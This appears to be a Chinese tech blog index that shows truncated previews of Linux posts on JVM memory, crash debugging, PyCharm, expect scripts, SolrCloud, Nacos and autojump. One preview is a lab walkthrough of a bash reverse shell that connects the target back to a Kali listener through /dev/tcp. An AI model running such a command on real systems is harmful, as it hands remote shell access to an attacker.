2020
11-22
11-22
java 进程是如何在Linux服务器上进行内存分配的
众所周知,Java进程在启动的时候我们可以通过-Xms和-Xmx来设置内存的上限和下限。直到我发现使用top命令监控的Java进程在-Xms设置4g的情况下占用的内存并不是4g,这就产生了一个疑问Linux服务器的内存到底是如何进行分配的。于是乎,我查阅了一些知乎,课程以及Linux相关的书籍。这里分享并记录的一下相关的知识。在Linux上运行的进程不仅限于Java。都有一个概念,逻辑内存(LogicMemory),而物理机真是持有的内存,我们称为物理...
继续阅读 >
问题描述在最近的后台服务中,新增将某个指令的请求数据落盘保存的功能。在具体实现时,采用成员变量来保存请求消息代理头,在接收响应以及消息管理类释放时进行销毁。测试反馈,该服务偶发崩溃。问题分析测试环境上运行的是rel版程序,由于在编译时去掉了调试信息(-g)以及开启O3级别优化,从崩溃dump的堆栈上,只看到程序崩溃的调用栈,函数入参等被优化掉,由于此处没有打日志,只能想其他办法来复现。猜测是重复释放指针导致...
下载pycharm包并且解压通过文件下bin目录中打开终端执行./pycharm.sh命令打开但是卡死在这个界面(之前一直是卡在开始界面,因为我之前关了搜狗输入法就可以继续),这个界面进程必须通过kill命令强制关掉通过ps-ef|greppych找到这个进程的pid,再强制关掉:kill现在我去换下输入法(将搜狗输入法下调,然后这个界面)更换之后,便可以正常运行,根据网上的说法,应该是由于,pycharm未适配中文导致的我们不激活搜狗输入法,就可以...
一、介绍expect脚本是Tcl脚本语言的拓展。用来实现自动的交互式任务,无需人为干预。在实际开发中,运行shell脚本有时候会输入linux密码或者是mysql密码等,而expect可以帮我们输入。二、安装expect在linux系统中没有自带,需要我们自行安装,在Ubuntu系统下,安装命令如下sudoapt-getupdatesudoapt-getinstallexpect三、简单的expect脚本3.1、编写脚本首先创建expect脚本sudovimhello.exp在hello.exp下写如下内容:#!/usr/...
什么是SolrCloudSolrCloud(solr云)是Solr提供的分布式搜索方案,当你需要大规模,容错,分布式索引和检索能力时使用SolrCloud。当一个系统的索引数据量少的时候是不需要使用SolrCloud的,当索引量很大,搜索请求并发很高,这时需要使用SolrCloud来满足这些需求。SolrCloud是基于Solr和Zookeeper的分布式搜索方案,它的主要思想是使用Zookeeper作为集群的配置信息中心。Solr集群的系统架构需要实现的solr集群架构Zookeeper作为集...
首先从github上下载nacos的压缩包:https://github.com/alibaba/nacos/releases下载完成之后,通过WinSCP把文件传到linux服务器上接着通过tar-zxvf命令将此压缩包解压解压完成之后,进入conf目录下的clusmter.conf文件打开并在里面加上通过:wq命令保存退出接着通过vim命令进入startup.sh此处修改完成之后,找到这个文件最下面的位置添加红框中的相关配置,保存退出接着进入nginx的conf文件中找到nginx.conf文件,vim进入修改nginx...
环境攻击机:kali ip:192.168.25.144靶 机:centos ip:192.168.25.142过程kali监听本地8888端口靶机centos写入反弹shell的命令bash-i>&/dev/tcp/192.168.25.144/88880>&1攻击机kali成功反弹shell原理反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这...
Linux-通过autojump命令减少cd命令的使用1、安装autojumpgitclonegit://github.com/joelthelion/autojump.git安装cdautojump./install.py卸载cdautojump./uninstall.py2、解决bashrc文件问题cd~打开bashrc文件vim~/.bashrc在文件的最后追加一行xxxxxxxxxxx这行代码在你安装的时候,软件会提示你的,你复制上去就行然后执行source~/.bashrc3、经常去的几个目录,先cd一遍然后通过命令查看这些目录的权重j--s...